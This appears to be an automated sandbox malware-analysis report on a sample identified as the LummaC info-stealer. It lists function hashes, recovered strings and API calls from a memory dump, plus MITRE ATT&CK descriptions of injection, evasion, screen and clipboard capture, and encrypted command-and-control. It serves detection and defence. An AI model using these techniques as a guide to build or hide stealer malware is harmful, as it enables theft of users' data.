Instruction Fuzzy Hash: 6331D932A087144BD3198D398CD036A7793EBC6230F198B3DEAB64B3D5DA759C458265

Function 02CE4471 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b104c4645d9c2d00e1f293715f3a0eeee49bb52aa220af98817134b807efeb8e
Instruction ID: 4938bc8a8e569539930e86e7ca292e97fa72974ea8813495079c3fb474caa937
Opcode Fuzzy Hash: b104c4645d9c2d00e1f293715f3a0eeee49bb52aa220af98817134b807efeb8e
Instruction Fuzzy Hash: EC31A9B1A00B009FDB399F64E880B23B7F6BF4A314F185929D18B83A51E730E441CB58

Function 02CD4970 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c8dcb8906ed68d0e104999a025abfeca4d592c94a6e2ef97f3ecd775cc418bd
Instruction ID: 7fd52a6abc86c3d264cd177942e12fa10162a66f6d34d3032e4bc1f49377b8a4
Opcode Fuzzy Hash: 2c8dcb8906ed68d0e104999a025abfeca4d592c94a6e2ef97f3ecd775cc418bd
Instruction Fuzzy Hash: 1E31AC716042019BD7289E5AC880A3AB7E9FFC5319F188A2DEBD9D7341D331D952CB42

Function 02CDC7C0 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e8f3b75875f45d504a6dc89fc1b9fcb22a39d16c83cc7a51be08e0b2d806dfc
Instruction ID: c9518075e3e8b620ec1596b7a3a84a400ceb3289bf6fbae9bed37290ce2de2fa
Opcode Fuzzy Hash: 3e8f3b75875f45d504a6dc89fc1b9fcb22a39d16c83cc7a51be08e0b2d806dfc
Instruction Fuzzy Hash: EF21066194DAD35E8326896D4890477FFE16DE600A30DC3BED8F987B43D114DA44C3E1

Function 02D09D50 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: d338c8c3bf022bad8e8a2108e90c59793ac98b91787ad3d2ecb0d9b3839518d2
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 3111A332A451E40AC3168D3C84506A5BFA21A93934B594399E4B49B2E3D622DD8AC364

Function 02CFFA20 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27a7a612ae88423c94e94aed23f2f5e59f19f6e9562c51202233e4b369826d55
Instruction ID: 6ef11810e51b189f7296eca09a8d2f0ecdf9141e77a1caab519ff61a2d638688
Opcode Fuzzy Hash: 27a7a612ae88423c94e94aed23f2f5e59f19f6e9562c51202233e4b369826d55
Instruction Fuzzy Hash: F10184F1B4030147E7A0DF54D4C072BB2A9EFC4718F19443CDA0A97B91DB75EA15DA91

Function 02D0739F Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a3b4a7cc5d26bea5e0484f30bce549a2fe35a875b1bfd3b42ec138a3273e8a3
Instruction ID: c0141a9e59c61e066c4a1f3e05571b14ba6d0921d6d1dbd7c07d648b3562aaf3
Opcode Fuzzy Hash: 8a3b4a7cc5d26bea5e0484f30bce549a2fe35a875b1bfd3b42ec138a3273e8a3
Instruction Fuzzy Hash: 5BF0E8F0524200AEE610BA3CCE1AB6B7AACAB40214F404A48FC6597695E2705C1487E2

Function 02CEA590 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8bf7594880540893e588c0e7e71e778f46c810e84ffe6c34b5c7349b40fdcb5
Instruction ID: 801f4cfc8fe2b32f3a4226c882eb37a2ac534de883692f7c9abe96bfda29232d
Opcode Fuzzy Hash: f8bf7594880540893e588c0e7e71e778f46c810e84ffe6c34b5c7349b40fdcb5
Instruction Fuzzy Hash: C1F0E5B2A046501FDF3289949CC0F3BBB9CCBCB228F1A1865E88757202E2619C40C3E6

Function 02D019D9 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c60195500c2cbe964d8ff92ffcdc615068a7c6dd94760675cb862beec79c2ce
Instruction ID: 4e058ef68ad2f9834f934cb506bb30886335b8dfc4df53278790a43dfbdcdda7
Opcode Fuzzy Hash: 8c60195500c2cbe964d8ff92ffcdc615068a7c6dd94760675cb862beec79c2ce
Instruction Fuzzy Hash: 7EF0122480C2D1CDE7178F27D0D0771BFA1AB13385B1851CAD8DA5B3A3C325D84AC765

Function 02D10670 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction ID: b44a3cead7cbc87f6696e0ef917a42a5847532d880797ebb12fa68d241e52f00
Opcode Fuzzy Hash: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction Fuzzy Hash: ACD0A7216083715BAF789E19B400977F7F0EAC7A12F49955FF982E3248E730DC81C2A9

Function 02D15EC4 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab39ec4045443febfa1909a9f66a6e6478b5b343ae8fc0d9f4f731ed3d0c77df
Instruction ID: 993b8a16dc59a34cc4ce071cb82f539b541aafd7aeaec185c22e71338d8867a3
Opcode Fuzzy Hash: ab39ec4045443febfa1909a9f66a6e6478b5b343ae8fc0d9f4f731ed3d0c77df
Instruction Fuzzy Hash: 74D05EB5C4C240EBD2949E10A0A10B673B8E666216F0028E5E08653701D239DCAADB26

Function 02D1640A Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ecf3634c20fe775d5a5f5cfacaed08ec8e01f3190085d3e9bf92c99c6cd0f27
Instruction ID: 4f3b48220d77f1bd55e764897dd7ab8029a5fc04c793c00e30cb5b06f1e799fb
Opcode Fuzzy Hash: 3ecf3634c20fe775d5a5f5cfacaed08ec8e01f3190085d3e9bf92c99c6cd0f27
Instruction Fuzzy Hash: B3D05E3040C31685C7148F04D062677B3B4EF83685F042809E0C21BA28F378C984D38A

Function 02D04681 Relevance: 64.9, APIs: 1, Strings: 36, Instructions: 130memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 02D046C5

Strings

h, xrefs: 02D04773
a, xrefs: 02D04723
@, xrefs: 02D04753
1, xrefs: 02D0477B
#, xrefs: 02D0470B
e, xrefs: 02D048DB
i, xrefs: 02D048BB
k, xrefs: 02D048CB
t, xrefs: 02D04703
b, xrefs: 02D04913
n, xrefs: 02D047B3
r, xrefs: 02D04803
X, xrefs: 02D04743
;, xrefs: 02D0474B
3, xrefs: 02D0478B
K, xrefs: 02D047F3
c, xrefs: 02D0490B
y, xrefs: 02D046F3
T, xrefs: 02D04763
', xrefs: 02D046EB
5, xrefs: 02D0475B
o, xrefs: 02D048AB
7, xrefs: 02D0476B
!, xrefs: 02D046FB
[, xrefs: 02D047A3
a, xrefs: 02D048FB
?, xrefs: 02D0472B
M, xrefs: 02D04823
c, xrefs: 02D04793
b, xrefs: 02D04783
}, xrefs: 02D0491B
g, xrefs: 02D048EB
9, xrefs: 02D0473B
}, xrefs: 02D04713
=, xrefs: 02D0471B
m, xrefs: 02D0489B

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: AllocString
String ID: !$#$'$1$3$5$7$9$;$=$?$@$K$M$T$X$[$a$a$b$b$c$c$e$g$h$i$k$m$n$o$r$t$y$}$}
API String ID: 2525500382-110656264
Opcode ID: 9f4f747b9bed2833e2138b0fbf7d125e87ad64622abd9a0cdc60b35083dea185
Instruction ID: 24e045ebd21fe7e6229d9d6cdeb17a6a7c6baf544e90d145fa4ef2a0d8031a16
Opcode Fuzzy Hash: 9f4f747b9bed2833e2138b0fbf7d125e87ad64622abd9a0cdc60b35083dea185
Instruction Fuzzy Hash: B5818F7050CBC1CAD332C62898987DBBFE16BE6319F480A9DD4D94A3D2C3BA4549C763

Function 02D056DE Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 68COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 02D056E8

Strings

%, xrefs: 02D0576B
9, xrefs: 02D0570B
!, xrefs: 02D0574B
#, xrefs: 02D0573B
=, xrefs: 02D0572B
', xrefs: 02D0575B
*, xrefs: 02D05773
+, xrefs: 02D0577B
?, xrefs: 02D0571B

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: InitVariant
String ID: !$#$%$'$*$+$9$=$?
API String ID: 1927566239-1641786196
Opcode ID: f1820f9d7f7bbd8f74cb6fee9e1ad12efceb538f00a1913f2c14719095c60bf0
Instruction ID: adaee8f6787bc227ae3be91b1e25a05db32f9ee3aa9111393aeefc4bcd0f2ebb
Opcode Fuzzy Hash: f1820f9d7f7bbd8f74cb6fee9e1ad12efceb538f00a1913f2c14719095c60bf0
Instruction Fuzzy Hash: 7F31FF7100C3C58ED336DB2890997DBBBE0AB96304F044D9DE6E887382C7759609CBA3

Function 02D049CA Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 89COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 02D049D4
VariantInit.OLEAUT32 ref: 02D049E7

Strings

l, xrefs: 02D04A32
q, xrefs: 02D04A82
k, xrefs: 02D04A12
j, xrefs: 02D04A22
}, xrefs: 02D04A42
`, xrefs: 02D04A62
l, xrefs: 02D04A52

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: Variant$ClearInit
String ID: `$j$k$l$l$q$}
API String ID: 2610073882-1688293196
Opcode ID: 0cc297f45a4010299df5b25b46e71c3130874fa31922f32f071c35d34307850f
Instruction ID: eb95c3b5c36452ff35d06d1a6ed358bc7dcbedaaed1a352d91bae2958d2be299
Opcode Fuzzy Hash: 0cc297f45a4010299df5b25b46e71c3130874fa31922f32f071c35d34307850f
Instruction Fuzzy Hash: C751F66010D7C1CEE331DB788458B8EBFE0AB96224F044A9DE5E95B3D2D3755445CB63

Function 02D04120 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 84COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 02D0412A
VariantInit.OLEAUT32 ref: 02D0413D

Strings

~, xrefs: 02D041C8
u, xrefs: 02D04218
", xrefs: 02D041A8
4, xrefs: 02D04158
m, xrefs: 02D04168

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: Variant$ClearInit
String ID: "$4$m$u$~
API String ID: 2610073882-2914945269
Opcode ID: cf1a23fbd6133853c4b1c3ef88b8a37c778b55b624e907657c966e9ea95358b0
Instruction ID: 18cc3d6b7213e6196e307f0892e38d36eac78e6258ac9649fa4700e226ea3357
Opcode Fuzzy Hash: cf1a23fbd6133853c4b1c3ef88b8a37c778b55b624e907657c966e9ea95358b0
Instruction Fuzzy Hash: 0041B37054C7C2CED331DA288448B9EBFE0ABA6224F048E6DE5E9472D2D7755445DB23

Function 02D051D3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32 ref: 02D051DD

Strings

8, xrefs: 02D052BF
?, xrefs: 02D052CF
/, xrefs: 02D052B7

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: String
String ID: /$8$?
API String ID: 2568140703-3340046098
Opcode ID: 9658e37aa3b603d222914f39b439ec998b58d3df81c9c56d0a746c23f0eff88c
Instruction ID: fce7e79c933e0a7053a09b0875895c3206e061be47f894307cb72c81ff427a9e
Opcode Fuzzy Hash: 9658e37aa3b603d222914f39b439ec998b58d3df81c9c56d0a746c23f0eff88c
Instruction Fuzzy Hash: 32712B716083818BC3359F28D4907AEBBE2BFC9314F598A2DD5D98B3D1CB759806CB52

Function 02D0E1F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

:, xrefs: 02D0E2B6

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: :
API String ID: 0-336475711
Opcode ID: 5685a2589d36cec9d8e6226ce7a62f863a457931d9f86a5912853f19da67ac39
Instruction ID: 9af98b13a12d1ca4b0350496bc2d9eef2df5def9825f548bd7667ed66bdc28b2
Opcode Fuzzy Hash: 5685a2589d36cec9d8e6226ce7a62f863a457931d9f86a5912853f19da67ac39
Instruction Fuzzy Hash: 1C3137B0598340EBE3208F11D859B4BBBF4FB8A399F404D0CF5C85A391D7B59859CB96

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report BW4pTs1x3V.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
BW4pTs1x3V.exe

Function 02CDFFE0 Relevance: 21.6, Strings: 17, Instructions: 378
COMMON

Function 02CDCF00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 160
threadCOMMON

Function 02CDF950 Relevance: 5.4, Strings: 4, Instructions: 423
COMMON

Function 02D15EB1 Relevance: 2.8, Strings: 2, Instructions: 282
COMMON

Function 02D15AD0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Function 02CDEA30 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 572
libraryCOMMON

Function 02D15520 Relevance: 1.6, APIs: 1, Instructions: 64
memoryCOMMON

Function 02D126B0 Relevance: 1.5, APIs: 1, Instructions: 48
memoryCOMMON

Function 02D12630 Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMON